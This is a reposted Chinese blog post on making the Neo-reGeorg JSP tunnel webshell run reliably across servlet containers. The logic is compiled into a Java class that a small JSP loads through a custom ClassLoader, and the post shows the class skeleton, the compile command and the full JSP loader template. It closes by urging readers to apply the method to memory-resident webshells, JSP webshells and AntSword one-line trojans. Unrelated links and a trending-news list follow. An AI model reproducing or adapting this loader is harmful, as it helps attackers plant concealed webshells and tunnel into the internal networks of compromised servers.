
通過加載class提高Neo-reGeorg兼容性
聲明:該文章來自(回憶如飄雪)版權(quán)由原作者所有,K2OS渲染引擎提供網(wǎng)頁加速服務(wù)。
0x01 背景
一大早就看到L-codes
師傅發(fā)消息說,Neo-reGeorg jsp服務(wù)端又出現(xiàn)問題了,印象里已經(jīng)不是一兩次了。大部分都是兼容性問題,這次也不例外。
在tomcat 5.5.9下的報(bào)錯(cuò)
是時(shí)候設(shè)計(jì)一個(gè)一勞永逸的方案了。
0x02 分析原因
我們知道jsp從被訪問到運(yùn)行,經(jīng)歷如下階段。
jsp執(zhí)行流程
本案例中發(fā)現(xiàn)tomcat work目錄下已經(jīng)存在了tunnel_jsp.java
,但是沒有tunnel_jsp.class
,說明階段1已經(jīng)過。結(jié)合頁面報(bào)錯(cuò)信息,在2階段時(shí)Tomcat內(nèi)置的編譯器JDTCompiler,編譯報(bào)錯(cuò)了。
檢查tunnel_jsp.java
代碼并沒有語法錯(cuò)誤,嘗試使用javac編譯,編譯成功!看來JDTCompiler與javac實(shí)現(xiàn)邏輯并不同,而且沒有javac強(qiáng)大。
javac可以編譯通過
編譯成功之后我再訪問tunnel.jsp頁面不再報(bào)錯(cuò)了??梢娞岣咭粋€(gè).jsp
的兼容,無非就是讓它在各個(gè)中間件下成功變成一個(gè).class
。而這個(gè)過程與具體中間件的jsp轉(zhuǎn)換器
的解析機(jī)制,java編譯器
的編譯機(jī)制和servlet-api
的版本息息相關(guān)。
那么我們是不是可以把Neo-reGeorg的服務(wù)端代碼提取變成class字節(jié)碼,然后jsp來加載和調(diào)用,來提高這個(gè)過程的成功率呢?。總之核心思想就是把盡可能多的業(yè)務(wù)邏輯變成最終可運(yùn)行的java字節(jié)碼,同時(shí)盡可能的減少jsp代碼,少用api少用語法糖少用特性。
0x03 編碼實(shí)現(xiàn)
我們先來移植服務(wù)端模版代碼為java代碼。直接新建一個(gè)NeoreGeorg.java
,將jsp中的方法直接copy,主體代碼的移植需要注意2個(gè)問題。
第一、參數(shù)提煉問題。我們需要把模版變化的地方,提取出來作為參數(shù),比如X-CMD
這樣的指令,POST request read filed
這樣的提示,Neo-reGorg需要通過隨機(jī)替換它們實(shí)現(xiàn)流量加密。
第二、參數(shù)傳遞問題。參數(shù)可以通過構(gòu)造方法或者自定義方法傳遞進(jìn)來,但是這樣要多寫些反射代碼。本著jsp代碼越少越好原則,使用每個(gè)類都有的equal(java.lang.Object)
方法。
// https://github.com/L-codes/Neo-reGeorg/blob/46ecb6f106/templates/NeoreGeorg.java
public class NeoreGeorg { private char[] en; private byte[] de; private int HTTPCODE; private int READBUF; private int MAXREADSIZE; @Override public boolean equals(Object obj) { // 接收參數(shù) Object[] args = (Object[]) obj; HttpServletRequest request = (HttpServletRequest) args[0]; HttpServletResponse response = (HttpServletResponse) args[1]; en = (char[])args[2]; de = (byte[])args[3]; HTTPCODE = (Integer) args[4]; READBUF = (Integer) args[5]; MAXREADSIZE = (Integer) args[6]; ServletContext application = request.getSession().getServletContext(); Writer out = response.getWriter(); ...... // Neo-reGorg主要流程代碼。 } .... //其他方法照抄 .... }
為了兼容更多的jdk版本我們這里選擇使用1.5編譯,同時(shí)為了class體積更小,可以使用-g:none
去掉調(diào)試信息。
1 javac -cp tomcat-servlet-api.jar -g:none -source 1.5 -target 1.5 NeoreGeorg.java
jsp部分很簡(jiǎn)單,定義一個(gè)classloader用于加載class,然后將該class newInstance進(jìn)行調(diào)用。有二個(gè)點(diǎn)可以簡(jiǎn)單講講。
第一,class字節(jié)碼的存儲(chǔ)方式問題。本著少用api的原則,我直接用byte數(shù)組存儲(chǔ)。當(dāng)然如果字節(jié)碼太多,可能會(huì)有The code of method _jspService(...) is exceeding the 65535 bytes limit
報(bào)錯(cuò)問題,推薦用hex編碼解決。
第二,全局存儲(chǔ)class對(duì)象問題。推薦使用application
對(duì)象,而不是session
對(duì)象進(jìn)行存儲(chǔ),否則遇到負(fù)載的情況就麻煩了。
// https://github.com/L-codes/Neo-reGeorg/blob/46ecb6f106/templates/tunnel.jsp <%@ page import="sun.misc.BASE64Decoder" %> <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } %> <% Object[] args = new Object[]{ request, //0 response, //1 "BASE64 CHARSLIST".toCharArray(), //2 new byte[]{BASE64 ARRAYLIST},//3 new Integer(HTTPCODE),//4 new Integer(READBUF),//5 new Integer(MAXREADSIZE),//6 "X-STATUS",//7 "X-ERROR",//8 "X-CMD",//9 "X-TARGET",//10 "X-REDIRECTURL",//11 "FAIL",//12 "Georg says, 'All seems fine'",//13 "Failed creating socket",//14 "Failed connecting to target",//15 "OK",//16 "Failed writing socket",//17 "CONNECT",//18 "DISCONNECT",//19 "READ",//20 "FORWARD",//21 "Failed reading from socket",//22 "No more running, close now",//23 "POST request read filed",//24 "Intranet forwarding failed"//25 }; if(application.getAttribute("u") != null){ application.getAttribute("u").equals(args); }else{ byte[] classBytes = new byte[]{.....} // NeoreGeorg.class字節(jié)碼 Class clazz = new U(this.getClass().getClassLoader()).g(classBytes); application.setAttribute("u",clazz.newInstance()); } %>
經(jīng)過測(cè)試在各個(gè)中間件下穩(wěn)定運(yùn)行,順手給L-codes師傅一個(gè)pr。
0x04 總結(jié)
其實(shí)這個(gè)方法可以使用很多jsp腳本的改造,比如內(nèi)存馬注入jsp,jsp大馬,蟻劍一句話木馬等等。大家可以照貓畫虎,自行修改。
[超站]友情鏈接:
四季很好,只要有你,文娛排行榜:https://www.yaopaiming.com/
關(guān)注數(shù)據(jù)與安全,洞悉企業(yè)級(jí)服務(wù)市場(chǎng):https://www.ijiandao.com/
- 1 情暖天山 建功奮進(jìn) 7904717
- 2 臺(tái)風(fēng)“樺加沙”在廣東陽江登陸 7809758
- 3 北方人親歷臺(tái)風(fēng)把自己綁床上過夜 7712505
- 4 全力應(yīng)對(duì)臺(tái)風(fēng)樺加沙 7617846
- 5 中國每4個(gè)成年人就有1名高血壓患者 7521032
- 6 樺加沙會(huì)影響國慶長假嗎?專家回應(yīng) 7426219
- 7 臺(tái)風(fēng)致澳門海水倒灌 居民上街抓魚 7331897
- 8 男子被困深圳酒店72層 看到風(fēng)雨逼近 7235070
- 9 美主播:要么退出聯(lián)合國要么炸了它 7142434
- 10 樺加沙登陸現(xiàn)場(chǎng):巨浪翻涌風(fēng)聲大作 7045355